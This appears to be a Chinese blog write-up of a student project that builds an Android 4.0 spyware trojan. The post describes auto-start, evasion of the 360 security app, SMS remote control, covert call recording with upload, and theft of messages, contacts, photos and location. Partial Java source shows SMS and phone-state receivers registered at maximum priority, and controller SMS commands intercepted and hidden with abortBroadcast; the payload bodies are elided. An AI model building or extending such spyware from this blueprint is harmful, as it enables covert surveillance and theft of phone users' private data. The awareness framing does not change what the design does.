Android系统手机窃取小程序

项目时间:2012.12-2013.1

实验环境

1.    操作系统:android 4.0

实验内容

1.    问题描述

随着移动智能终端的快速发展,安全问题变得越来越严峻。Android系统在智能手机领域占据着比较大的比重,但同时也存在着较多的安全隐患。本次课题针对android4.0系统,编写出一个基于此操作系统的手机信息窃取程序,主要实现以下功能:

(1)联网自启,检测360卫士

(2)可进行短信远控,监视用户行为

(3)窃取用户隐私数据

(电话窃听,用户定位,短信窃取,偷窥用户数据等)

通过该程序,向大家展示android系统智能手机中所存在的安全隐患,以及木马常见的攻击手段,旨在提高手机用户的安全意识,同时加深自己对android系统的认识,提高在该平台下的开发能力。


2.    基本要求

(1)熟悉android组件,activity,service,broadcastreceiver

(2)了解各个应用程序之间的信使intent

(3)了解常用的系统广播以及常见API

3.    基本概念或基本原理

在android系统中,定义了很多标准的BroadcastAction来响应系统广播事件。各个应用程序可以通过声明广播接收器来接收对应的系统广播。

以下两个系统广播:

android.intent.action.PHONE_STATE";

android.provider.Telephony.SMS_RECEIVED;

分别对应着电话状态改变以及接收到短信的广播。本程序通过动态注册对应着两个系统广播的接收器,并设置最高的优先级。从而实现对电话和短信的优先控制权,进而实现木马进一步信息获取功能。

4.       实现步骤

CoreService:

(1)枚举系统安装的APK

(2)检测是否安装360卫士

(3)动态注册短信电话BroadcastReceiver,设置最高优先级

TelephoneFilterReceiver:

(1)Intent.ACTION_NEW_OUTGOING_CALL(去电)

TelephonyManager.CALL_STATE_OFFHOOK(接起)

       开启RecordService,进行录音;

(2)TelephonyManager.CALL_STATE_IDLE(挂断)

       停止RecordService,停止录音并上传。

SmsFilterReceiver:

(1)将pdus转换为短息格式,解析其内容

(2)若存在360,则对接收到的短信进行记录

(3)后台监听,根据攻击者指令执行恶意功能(sms,contacts,photo,location),           并上传(PS:sms根据360的有无,采取不同恶意行为)

 

5.    流程图

Android系统手机窃取小程序_第1张图片

6.       核心代码

核心服务开启例程:

public intonStartCommand(Intent intent, intflags, int startId) {
      Log.d(TAG,"onStartCommand---->CoreService");
      //设置短信广播接收器
      IntentFilterfilter = new IntentFilter(SMSACTION);
//设置最高优先级
      filter.setPriority(2147483647);
      smsFilter= new SmsFilterReceiver();
//动态注册短信接收器
      registerReceiver(smsFilter,filter);
      //设置电话状态广播接收器
      IntentFiltertFilter = new IntentFilter(TELACTION);
//设置最高优先级
      tFilter.setPriority(2147483647);
      telFilter= new TelephoneFilterReceiver();
      //动态注册电话状态接收器
registerReceiver(telFilter,tFilter);
      return START_STICKY;
}

 

短信接收器处理例程:

public voidonReceive(Context context, Intent intent) {
Bundlebundle = intent.getExtras();
//pdu为承载着一条短信的所有信息     
Object[]msgObject = (Object[])bundle.get("pdus");
SmsMessage[]smsMsg = newSmsMessage[msgObject.length];
for (inti = 0; i < smsMsg.length; i++) {
//将pdu格式数据转换成短信格式
smsMsg[i]=SmsMessage.createFromPdu((byte[])msgObject[i]);
//解析短信内容
Stringsender = smsMsg[i].getOriginatingAddress();
Stringcontent = smsMsg[i].getMessageBody();
//若是控制者短信
{
……
//解析短信内容
……
//获取短信息和通信录
……        
//获取用户位置信息 
……
//丢弃此接收短信的广播
abortBroadcast();
}
//是其他用户的短信息
{
……
//正常放行
}
}


电话过滤接收器例程:

public voidonReceive(Context context, Intent intent) {
         TelephonyManager tm = (TelephonyManager)context.getSystemService(Context.TELEPHONY_SERVICE);
         intstate = tm.getCallState();
         //根据不同的来电状态进行处理
         switch(state) {
         //电话空闲
         caseTelephonyManager.CALL_STATE_IDLE:
……
            //关闭录音服务
            context.stopService(stopIntent);
            break;
         //电话接起
         caseTelephonyManager.CALL_STATE_OFFHOOK:
            ……
//开启录音服务
            context.startService(startIntent);
            break;
         //电话响起
         caseTelephonyManager.CALL_STATE_RINGING:
            ……
//记录电话号码
            break;
         default:
            break;
         } 
}


你可能感兴趣的:(android安全,用户隐私)